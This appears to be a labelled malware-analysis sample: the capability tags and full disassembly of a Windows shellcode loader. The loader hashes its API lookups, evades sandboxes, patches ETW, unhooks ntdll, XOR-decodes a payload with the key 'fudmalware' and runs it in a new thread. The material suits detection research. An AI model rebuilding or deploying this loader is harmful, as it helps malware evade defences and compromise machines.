Function at 0x14001e480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
call fcn.14000a5e0
lea rsi, [rbp + 0xd0]
xor r8d, r8d
mov qword [rbp + 0xd0], 0x228
lea rcx, [rbp + 0x70]
lea rax, [rbp + 0x80]
mov rdx, rsi
mov qword [rbp + 0x70], rax
call fcn.14001c4a0
lea r8, [0x14002025c]
mov rcx, rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0xd0]
lea rdx, [r8 - 0x228]
mov qword [rbp + 0x80], rax
call fcn.14001abf0
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x70]
lea rcx, str.kernel32.dll
mov qword [rbp + 0x78], rax
mov byte [rdx + rax], 0
call fcn.140011b40
mov edx, 0xfd0820
mov rcx, rax
mov qword [rbp + 0x28], rax
call fcn.140011d10
mov rcx, qword [rbp + 0x28]
mov edx, 0xd171487f
mov r12, rax
call fcn.140011d10
lea rcx, str.User32.dll
mov rbx, rax
call fcn.140011b40
mov rcx, qword [rbp + 0x28]
mov edx, 0xf0677b50
mov rdi, rax
call fcn.140011d10
lea rdx, [rbp + 0x34]
mov rcx, rsi
mov dword [rbp + 0x34], 0x10
call rax
mov edx, 0x535044
mov rcx, rdi
call fcn.140011d10
mov rcx, rsi
call rax
lea rdx, str.DESKTOP_
mov rcx, rsi
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14001e595
mov ebx, 1
jmp 0x14001e9fe
mov rcx, qword [rbp + 0x28]
mov edx, 0x1ac1f4ff
call fcn.140011d10
call rax
cmp rax, 0x124f7f
jbe 0x14001e58b
lea r14, str.ntdll.dll
xor r13d, r13d
lea rdi, [rbp + 0x58]
xor r15d, r15d
mov rcx, r14
call fcn.140011b40
mov rcx, r14
mov dword [rbp + 0x38], r13d
mov qword [rbp + 0x20], rax
call fcn.140011b40
lea rdx, str.NtTraceEvent
mov rcx, rax
call fcn.140011bc0
mov rcx, qword [rbp + 0x28]
mov edx, 0x1c6a5211
mov rsi, rax
call fcn.140011d10
lea r9, [rbp + 0x38]
mov edx, 1
mov rcx, rsi
mov qword [rbp + 0x18], r9
mov r13, rax
mov r8d, 0x40
call r13
mov r9, qword [rbp + 0x18]
mov edx, 1
mov rcx, rsi
mov byte [rsi], 0xc3
mov r8d, dword [rbp + 0x38]
call r13
call rbx
mov ecx, 6
mov qword [rbp + 0x10], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r14
call fcn.140011c40
lea rcx, str.psapi.dll
mov qword [rbp + 8], rax
call fcn.140011b40
mov edx, 0x27c64cdb
mov rcx, rax
call fcn.140011d10
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov r9d, 0x18
lea r8, [rbp + 0x58]
call rax
xor eax, eax
mov r14, qword [rbp + 0x58]
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
call r12
mov rcx, qword [rbp + 0x28]
mov edx, 0x71a68244
mov qword [rbp], rax
call fcn.140011d10
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rdx
mov r8d, 0x1000002
xor edx, edx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp]
call rax
mov rcx, qword [rbp + 0x28]
mov edx, 0x90e5f37
mov qword [rbp - 8], rax
call fcn.140011d10
xor r8d, r8d
xor r9d, r9d
mov edx, 4
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov rcx, qword [rbp - 8]
call rax
movsxd r12, dword [r14 + 0x3c]
mov word [rbp + 0x18], 0
mov qword [rbp - 0x10], rax
add r12, r14
lea rax, [r12 + 0x18]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp + 0x18]
cmp ax, word [r12 + 6]
jae 0x14001e7b3
mov rax, qword [rbp - 0x18]
movzx r10d, word [r12 + 0x14]
lea rdx, str..text
add r10, rax
movzx eax, word [rbp + 0x18]
imul rax, rax, 0x28
lea r15, [r10 + rax]
mov rcx, r15
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14001e7aa
xor edi, edi
lea r9, [rbp + 0xb0]
mov r8d, 0x40
mov dword [rbp + 0xb0], edi
mov ecx, dword [r15 + 0xc]
mov qword [rbp - 0x20], r9
mov edx, dword [r15 + 8]
add rcx, r14
call r13
mov esi, dword [r15 + 0xc]
mov rdi, qword [rbp - 0x10]
mov ecx, dword [r15 + 8]
mov r9, qword [rbp - 0x20]
lea rax, [r14 + rsi]
add rsi, rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r15 + 0xc]
mov edx, dword [r15 + 8]
mov r8d, dword [rbp + 0xb0]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc word [rbp + 0x18]
jmp 0x14001e714
mov rcx, qword [rbp + 0x28]
mov edx, 0xfc97a3
lea r13, [rbp + 0x70]
lea rdi, [rbp + 0xb0]
lea r14, [rbp + 0x90]
call fcn.140011d10
mov rcx, qword [rbp + 0x10]
mov rsi, rax
call rsi
mov rcx, qword [rbp]
call rsi
mov rcx, qword [rbp - 8]
call rsi
mov rcx, qword [rbp + 0x28]
mov edx, 0xff79f6
xor esi, esi
call fcn.140011d10
mov rcx, qword [rbp + 8]
call rax
lea rax, [rbp + 0xa0]
mov byte [rbp + 0xa0], 0
mov r12d, dword [rbp + 0x78]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rsi
xor esi, esi
cmp r12d, esi
jle 0x14001e866
mov r9d, 2
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call fcn.140015200
mov rcx, qword [rbp + 0xb0]
xor edx, edx
add rsi, 2
mov r8d, 0x10
call sub.msvcrt.dll_strtol
mov rcx, r14
movsx edx, al
call fcn.14001c680
mov rcx, rdi
call fcn.14001a430
jmp 0x14001e820
mov r12, qword [rbp + 0x98]
lea rax, [r12 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.14000b590
mov r8d, 0xa
mov rsi, qword [rbp + 0x90]
sub rsp, rax
mov rcx, r12
movabs rax, 0x61776c616d647566
lea r13, [rsp + 0x60]
mov rdi, r13
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0xb0], rax
mov word [rbp + 0xb8], 0x6572
cmp r12, rcx
je 0x14001e8d0
mov rax, rcx
xor edx, edx
div r8
mov al, byte [rbp + rdx + 0xb0]
xor byte [r13 + rcx], al
inc rcx
jmp 0x14001e8b2
mov rcx, qword [rbp + 0x20]
xor edx, edx
xor eax, eax
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x40], rdx
mov edx, 0xb9bad4a4
lea r15, [rbp + 0x48]
lea r14, [rbp + 0x40]
mov dword [rbp + 0x3c], eax
call fcn.140011d10
mov rsi, rax
call rbx
mov r9, r15
xor r8d, r8d
mov rdx, r14
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xe4357e14
call fcn.140011d10
mov rdi, qword [rbp + 0x40]
mov rsi, rax
call rbx
xor r8d, r8d
mov r9, r12
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov rcx, rax
mov r8, r13
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x52e5c110
call fcn.140011d10
mov rsi, rax
call rbx
mov r9d, 0x20
mov r8, r15
mov rdx, r14
mov rcx, rax
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x20], rax
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xf758add4
call fcn.140011d10
mov rdi, qword [rbp + 0x40]
mov rsi, rax
call rbx
xor r10d, r10d
xor r11d, r11d
xor r8d, r8d
mov qword [rsp + 0x50], r10
mov r9, rax
lea rcx, [rbp + 0x50]
xor ebx, ebx
mov qword [rsp + 0x48], r10
mov edx, 0x20000000
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x30], r11d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x233945d0
call fcn.140011d10
xor r8d, r8d
mov rcx, qword [rbp + 0x50]
xor edx, edx
call rax
mov rcx, qword [rbp + 0x20]
mov edx, 0x3373d
call fcn.140011d10
mov rcx, qword [rbp + 0x50]
call rax
lea rcx, [rbp + 0x90]
call fcn.14001a430
lea rcx, [rbp + 0x70]
call fcn.14001a430
mov eax, ebx
lea rsp, [rbp + 0xf8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret